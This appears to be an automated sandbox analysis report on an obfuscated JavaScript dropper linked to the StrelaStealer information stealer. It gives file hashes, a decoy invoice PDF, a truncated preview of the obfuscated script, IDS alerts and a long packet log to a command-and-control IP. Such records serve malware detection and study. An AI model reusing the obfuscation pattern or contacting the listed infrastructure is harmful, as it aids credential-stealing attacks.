SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d36195b4-ffb0-4b8d-b3ab-37550d2c24da.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18073), with CRLF line terminators
Entropy (8bit):	4.909180945401374
TrID:
File name:	522327491130758262.js
File size:	21'701 bytes
MD5:	64ada06f607c7f6e17a4d0b63b6a9823
SHA1:	d98ee62bb93726f64b88268af8e5159a1ac2af38
SHA256:	c9fabeb549d6bad0628df869c02d0fab97d3cfc71fd2bbbf3721167c28a04911
SHA512:	c69db98bfcf6c8c62ab87bf3995b22dcf9c630226305d0ac5453a87c4dfa205af1ed24e065cdb2c3bbee21c6b2b9bc241c55bbc603cbda9e0aa8b1eeb8845116
SSDEEP:	384:tmJQAmX94DN4g1ogfQuNOZYBk4RHOAuw32siCT/eZI1Nh:8JRvfQP6H4qaC2U
TLSH:	B4A253C9F891F94145C064E1AD772BEEB48C61C059A8E488EF383A991B27D9C93E147F
File Content Preview:	function rtuxyhry(){lfsmctglj=[1031,3079,5127,4103,2055,3072];var hukbou=this[mkpkgkh+ovylhbpd+nsetkgaz+ucjbpccb+paplfwbmr+dhfvvhfwq+vneejxttq+lkbacdmx](this[xxijad+haoqzwmq+mglzdar+nsetkgaz+dwwxiaiyj+mkpkgkh+lkbacdmx][ltfxpi+nsetkgaz+paplfwbmr+ovylhbpd+l

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:14:13.185152+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49756	193.143.1.205	80	TCP
2025-01-11T06:14:13.185152+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49756	193.143.1.205	80	TCP
2025-01-11T06:14:15.927761+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49777	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:14:12.387757063 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:12.392934084 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:12.396083117 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:12.401387930 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:12.406286955 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.184990883 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.185041904 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.185054064 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.185067892 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.185122967 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.185136080 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.185148001 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.185152054 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.185172081 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.185188055 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.185192108 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.185201883 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.185219049 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.185246944 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.189994097 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.231041908 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.231060028 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.231156111 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.302267075 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.302306890 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.302369118 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.302464008 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.302494049 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.302531958 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.302545071 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.302580118 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.302620888 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.302632093 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.302666903 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.302701950 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.302752972 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.303483963 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.303524017 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.303534031 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.303569078 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.303602934 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.303615093 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.303637981 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.303674936 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.304447889 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.304482937 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.304517984 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.304531097 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.304761887 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.304795980 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.304804087 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.304831028 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.304862976 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.304874897 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.304898024 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.304939985 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.305613995 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.349637032 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.365695953 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.390975952 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.391010046 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.391036034 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.391066074 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.391094923 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.391112089 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.420125961 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420183897 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420218945 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420255899 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420279980 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.420289993 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420319080 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.420326948 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420337915 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.420361042 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420417070 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.420603991 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420638084 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420672894 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420706987 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.420706987 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420749903 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.420761108 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420794964 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420829058 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.420836926 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.421370983 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.421422005 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.421432018 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.421458006 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.421492100 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.421503067 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.421525002 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.421556950 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.421578884 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.421612024 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.421655893 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.422233105 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.422266960 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.422301054 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.422314882 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.422333956 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.422369003 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.422377110 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.422401905 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.422436953 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.422442913 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.422472000 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.422514915 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.423119068 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.423176050 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.423223972 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.423228979 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.423264027 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.423297882 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.423306942 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.423362017 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.423393965 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.423405886 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.423429966 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.423474073 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.424173117 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.424207926 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.424243927 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.424256086 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.454602957 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.454638958 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.454673052 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.454718113 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.454734087 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.479947090 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.479989052 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.480031967 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.508291960 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.508307934 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.508330107 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.508342028 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.508354902 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.508379936 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.508410931 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.508748055 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.508758068 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.508785963 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.537522078 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.537539005 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.537553072 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.537565947 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.537575006 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.537605047 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.537743092 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.537754059 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.537774086 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.537779093 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.537786007 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.537797928 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.537810087 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.537831068 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.538054943 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.538080931 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.538094997 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.538117886 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.538157940 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.538168907 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.538182974 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.538192987 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.538194895 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.538217068 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.538940907 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.538954973 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.538966894 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.538991928 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.538999081 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.539007902 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.539011002 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.539022923 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.539036036 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.539045095 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.539048910 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.539068937 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.539896011 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.539906979 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.539921045 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.539933920 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.539935112 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.539940119 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.539947033 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.539994001 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.540035963 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.540046930 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.540071964 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.540853024 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.540864944 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.540875912 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.540888071 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.540889978 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.540899038 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.540909052 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.540935040 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.540960073 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.540971994 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.540982962 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.541017056 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.541865110 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.541877031 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.541887999 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.541904926 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.541906118 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.541919947 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.541929960 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.541938066 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.541941881 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.541970968 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.541984081 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.542002916 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.542762041 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.542797089 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.542805910 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.542808056 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.542840958 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.542866945 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.542877913 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.542890072 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.542908907 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.542910099 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.542922020 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.542938948 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.543078899 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.543845892 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.543860912 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.543876886 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.543884039 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.543890953 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.543903112 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.543914080 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.543920040 CET	49756	80	192.168.2.9	193.143.1.205
